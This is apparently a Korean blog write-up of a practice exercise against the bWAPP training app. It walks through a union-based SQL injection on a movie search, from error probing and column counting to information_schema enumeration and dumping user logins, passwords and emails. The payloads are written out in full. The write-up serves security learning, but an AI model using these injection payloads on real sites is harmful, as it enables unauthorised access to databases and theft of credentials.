SQL Injection_Union Based

jjewqm·2021년 10월 23일
0

WebHacking

목록 보기
1/4

문제

해당 사이트에 등록된 사용자 정보(이름, 이메일 주소, 전화번호, 아이디, 패스워드, … 등)를 탈취하시오.


해당 사이트에 man이라 검색하니 위와 같은 결과가 출력된다. 유추하건데 해당 사이트의 쿼리문은 아래와 같을 것이다.
select * from movies where title like '%man%'

SQL 인젝션 가능 여부 확인

' 싱글 쿼터를 입력하면 데이터베이스 서버에 질의하는 쿼리에 문법 오류가 발생한다. 오류 메시지에는 데이터베이스 서버 정보가 포함되는데, 데이터베이스 서버 종류에 따라 SQL 구문이 다르므로 서버 정보를 확인할 수 있다. 따라서 해당 사이트 DB 서버는 'MYSQL'임을 알 수 있다.

주석문자 확인


사용 가능한 주석 그리고 모든 데이터가 출력되는지 확인하고자 'or 1=1# 쿼리를 질의한 결과 위 그림과 같다.

UNION 구문을 이용하기 위해 반환하는 컬럼 갯수 확인

현재 사이트의 예상 쿼리는 select * from movies where title like '%[Data]%'이다. 따라서 아래와 같이 쿼리를 질의한다.
a%' order by n # 해당 쿼리 n을 1부터 8까지 질의하면 8번째 칼럼은 존재하지 않는 것을 알 수 있다. 따라서 해당 페이지에서 호출하는 칼럼 수는 7개이다.

UNION 구문을 이용해서 데이터 출력 개수와 위치를 확인

  • 예상 DB 쿼리 : select * from movies where title like '%
  • 질의 쿼리 : a%' union select 1,2,3,4,5,6,7 #

조회 결과 7개 컬럼 중 4개의 컬럼(2,3,4,5)만 화면 출력에 사용한다.

UNION 구문을 이용해 데이터베이스 정보 조회

MySQL System Variables ⇒ https://dev.mysql.com/doc/refman/8.0/en/server-system-variables.html

select * from movies where title like '%a%' union select 1, @@version, @@version_comment, @@version_compile_machine, @@version_compile_os, 6,7 # %

굵게 표시된 글자는 질의한 쿼리이다.

질의한 쿼리로 인해 버전, 버전 정보, 컴파일 머신, 버전 OS 정보가 출력된다.

버전 정보 확인

5.0.96-0ubuntu3는 MYSQL이다.

information_schema.schemata를 이용해서 DB 정보를 조회

information_schema.schemata link

  • 질의 쿼리 : select * from movies where title like '%a%' union select 1, SCHEMA_NAME, 3,4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA #

질의 결과 데이터베이스에 등록되어 있는 데이터베이스 목록이 출력된다.

information_schema.schemata_2

정상적인 서비스 쿼리의 결과를 null로 만들어서 공격자가 원하는 정보만 출력되도록 수정한다.

  • 질의 쿼리 : select * from movies where title like '%a%' and 1=2 union select 1, schema_name,3,4,5,6,7 from information_schema.schemata #

information_schema.tables 이용해 테이블 정보 조회

information_schema.tables link

  • 질의 쿼리 : select * from movies where title like '%a%' and 1=2 union select 1, table_schema, table_name, table_type, 5, 6, 7 from information_schema.tables #

BWAPP DB에 있는 테이블만 조회하도록 쿼리를 수정한다.

  • 질의 쿼리 : select * from movies where title like '%a%' and 1=2 union select 1, table_schema, table_name, table_type,5,6,7 from information_schema.tables where table_schema='BWAPP' #

BWAPP에는 5개 테이블이 존재하고 users테이블 컬럼 정보를 조회하겠다.

users 테이블에 컬럼 정보를 information_schema.columns를 이용해서 조회

information_schema.columns

  • 질의 쿼리 : select * from movies where title like '%a%' and 1=2 union select 1, table_schema, table_name, column_name, 5,6,7 from information_schema.columns where table_name='users' and table_schema='BWAPP' # %'

users 테이블 정보 조회

  • 질의 쿼리 : select * from movies where title like '%a%' and 1=2 union select 1, id, login, password, email, 6,7 from users # %'

PASSWORD CRACKING

profile
글쓰기를 좋아합니다.

0개의 댓글